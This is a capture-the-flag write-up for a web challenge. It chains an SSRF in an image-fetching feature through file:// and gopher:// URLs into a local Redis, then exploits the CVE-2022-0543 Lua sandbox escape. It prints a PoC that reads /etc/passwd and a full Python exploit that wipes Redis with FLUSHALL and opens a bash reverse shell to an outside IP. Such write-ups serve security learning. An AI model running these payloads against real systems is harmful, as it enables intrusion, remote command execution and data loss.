# Red Island (Web)

# Introduction

This challenge allows us to download a remote image from a URL, and we can exploit this functionality to perform an SSRF attack against the target. We can use this vulnerability to read source code and discover a local Redis server. We can then use the Gopher protocol to escape the Lua scripting sandbox and drop a shell on the target.

I enjoyed this challenge and learnt a new technique that I will be sure to refer back to in the future. I'm happy to say that I was the 62nd person to solve this challenge on day 3 of the CTF event.

# App Functionality

This challenge initially presents the user with basic login register/pages that we have seen on the other web challenges. Once we had registered an account, we were presented with a simple page to accept a URL to an image.

image-20220520111131989

We can host an image using Python's http.server with ngrok and submit it to the website. The application will apply a red filter to the image and return the base64-encoded image data.

image-20220520111205995

This is how the request looked in Burp:

image-20220520102538945

# SSRF Source Code Disclosure

We can leverage the file:// URL scheme with the /proc filesystem to issue a Server-Side Request Forgery (SSRF) request to view the app's source code:

{"url": "file:///proc/self/cwd/index.js"}

image-20220520101316968

(thanks JD!)

We can dump the file source into VS Code to properly format the file for investigation. We can see that Redis is running locally, and the application is utilising it as the session storage driver.

image-20220520103027573

At this point I wrote a simple exploit that would allow me to type filenames and download their source locally.

image-20220520103348014

# Accessing Redis

After some research, I came across a great article (opens new window) detailing how Redis can be accessed via SSRF using the Gopher protocol (opens new window). The article also explains how Redis uses the REdis Serialization Protocol (RESP) protocol to receive commands via telnet or netcat, without needing redis-cli to be installed locally.

$ nc -nvC 127.0.0.1 6379
(UNKNOWN) [127.0.0.1] 6379 (redis) open
			# REQUEST
*1			# We are sending one argument
$4			# The argument has 4 characters
info		# The actual argument or command to send (`INFO` command)
			# RESPONSE
$3226		# The server response is 3226 characters
Server		# Server response for the `INFO` command
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924

We can see the Gopher protocol in action by using curl to send a local request for the INFO command. We need to instruct curl to terminate the request after 1 second; otherwise, Redis will not close the connection, and it will remain open indefinitely.

$ curl -s --max-time 1 gopher://127.0.0.1:6379/_info | head

image-20220520104852915

We can now test this against the target by sending a request to execute the INFO and QUIT commands. Each command must be terminated by a newline character (%0A).

{"url": "gopher://127.0.0.1:6379/_info%0Aquit%0A"}

image-20220520105010343

Great. Now we can send commands directly to Redis.

# Lua Sandbox Escape

Redis allows users to upload Lua scripts (opens new window) to the server to perform advanced logic and command sequences directly in the caching engine. CVE-2022-0543 (opens new window) is a Lua Sandbox Escape vulnerability in Redis (opens new window), which will let the attacker read files and execute system commands. The original PoC can be found below and will read the /etc/passwd file from the target.

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /etc/passwd", "r"); local res = f:read("*a"); f:close(); return res' 0

A Metasploit module has been developed (opens new window), which gives a PoC for executing system commands. I decided to go down this route to drop a shell onto the target.

Let's start a netcat listener and a ngrok TCP forwarder so that the remote Docker target can access our local attacking machine.

$ sudo nc -lvnp 21
$ ngrok tcp 21

ngrok assigned me the hostname 6.tcp.eu.ngrok.io, so I resolved the IP address using dig:

$ dig 6.tcp.eu.ngrok.io
3.68.171.119

I modified my file download PoC to exploit Redis. The relevant sections are shown below, with the full PoC at the end of this post. I took the generate_resp and generate_gopher functions from the original article (opens new window) I linked. I had to manually create the RESP for the Lua script as the generate_resp function was not respecting the EVAL command (opens new window) syntax.

...
def make_request(payload):
    return s.post(f'{TARGET}/api/red/generate', json={'url': payload})

# Convert a command to RESP (REdis Serialisation Protocol)
def generate_resp(command):
    res = ""

    if isinstance(command, list):
        pass
    else:
        command = command.split(" ")

    res += "*{}\n".format(len(command))  # Request - Number of args
    for cmd in command:
        res += "${}\n".format(len(cmd))  # Request - String length
        res += "{}\n".format(cmd)        # Request

    return res


def generate_gopher(payload):
    payload = payload.replace("\n", "\r\n")
    return "gopher://127.0.0.1:6379/_{}".format(urllib.parse.quote(payload))

if __name__ == "__main__":
    os_cmd = "bash -c 'bash -i >& /dev/tcp/3.68.171.119/14042 0>&1'"
    lua_script = f'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); local f = os.execute("{os_cmd}");'

    res = ''
    res += generate_resp('flushall')

    # The `generate_resp` method wasn't handling the lua well
    # Manually generate the RESP format
    res += "*3\n"
    res += "$4\neval\n"
    res += "${}\n{}\n".format(len(lua_script), lua_script)
    res += "$1\n0\n"

    # Tell Redis to close the connection otherwise it will hang indefinitely
    res += generate_resp('quit')

    r = make_request(payload=generate_gopher(res))
    print(r.json()['message'])

Now we can run the exploit and drop a shell on the target, and find the flag located at /root/flag

$ python3 exploit.py

image-20220520111030142

# Full Exploit PoC

#!/usr/bin/env python3

# https://infosecwriteups.com/exploiting-redis-through-ssrf-attack-be625682461b
# https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/
# https://packetstormsecurity.com/files/166885/Redis-Lua-Sandbox-Escape.html
# https://github.com/rhamaa/Web-Hacking-Lab/blob/master/SSRF_REDIS_LAB/payload_redis.py#L12-L38
# https://i.imgur.com/2U0Pcj0.png

from tqdm import tqdm
import os
import requests
import random
import string
import urllib.parse

TARGET = 'http://134.209.177.202:30830'

s = requests.Session()


def authenticate():
    cred = ''.join(random.choice(string.ascii_uppercase) for i in range(16))
    s.post(f'{TARGET}/api/register', json={'username': cred, 'password': cred})
    s.post(f'{TARGET}/api/login', json={'username': cred, 'password': cred})
    s.get(f'{TARGET}/dashboard')


def make_request(payload):
    return s.post(f'{TARGET}/api/red/generate', json={'url': payload})


def load_file(file):
    # /proc/self/cwd/index.js
    r = make_request(payload=f'file://{file}')

    msg = r.json()['message'].replace(
        'Unknown error occured while fetching the image file: ', '')
    print(msg)

    if msg.strip() == 'The URL specified is unreachable!':
        return

    # Download the file
    local_path = 'src/' + file.replace('/proc/self/cwd/', '')
    if not os.path.exists(local_path):
        base_dir = os.path.dirname(local_path)

        if base_dir != '':
            os.makedirs(base_dir, exist_ok=True)

        with open(local_path, 'w') as f:
            f.write(msg)


# Convert a command to RESP (REdis Serialisation Protocol)
def generate_resp(command):
    res = ""

    if isinstance(command, list):
        pass
    else:
        command = command.split(" ")

    res += "*{}\n".format(len(command))  # Request - Number of args
    for cmd in command:
        res += "${}\n".format(len(cmd))  # Request - String length
        res += "{}\n".format(cmd)        # Request

    return res


def generate_gopher(payload):
    payload = payload.replace("\n", "\r\n")
    return "gopher://127.0.0.1:6379/_{}".format(urllib.parse.quote(payload))


if __name__ == "__main__":
    authenticate()

    # Drop a shell using ngrok for full reverse connection
    #
    # $ ngrok tcp 21 -> 6.tcp.eu.ngrok.io
    # $ dig 6.tcp.eu.ngrok.io -> 3.68.171.119
    #
    os_cmd = "bash -c 'bash -i >& /dev/tcp/3.68.171.119/14042 0>&1'"
    lua_script = f'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); local f = os.execute("{os_cmd}");'

    res = ''
    res += generate_resp('flushall')

    # The `generate_resp` method wasn't handling the lua well
    # Manually generate the RESP format
    res += "*3\n"
    res += "$4\neval\n"
    res += "${}\n{}\n".format(len(lua_script), lua_script)
    res += "$1\n0\n"

    # Tell Redis to close the connection otherwise it will hang indefinitely
    res += generate_resp('quit')
    print(res)

    gopher = generate_gopher(res)
    print(gopher)
    print('-'*50)

    r = make_request(payload=gopher)
    print(r.json()['message'].replace(
        'Unknown error occured while fetching the image file: ', ''))

    exit()

    while True:
        file = input('> ')
        load_file(file=file)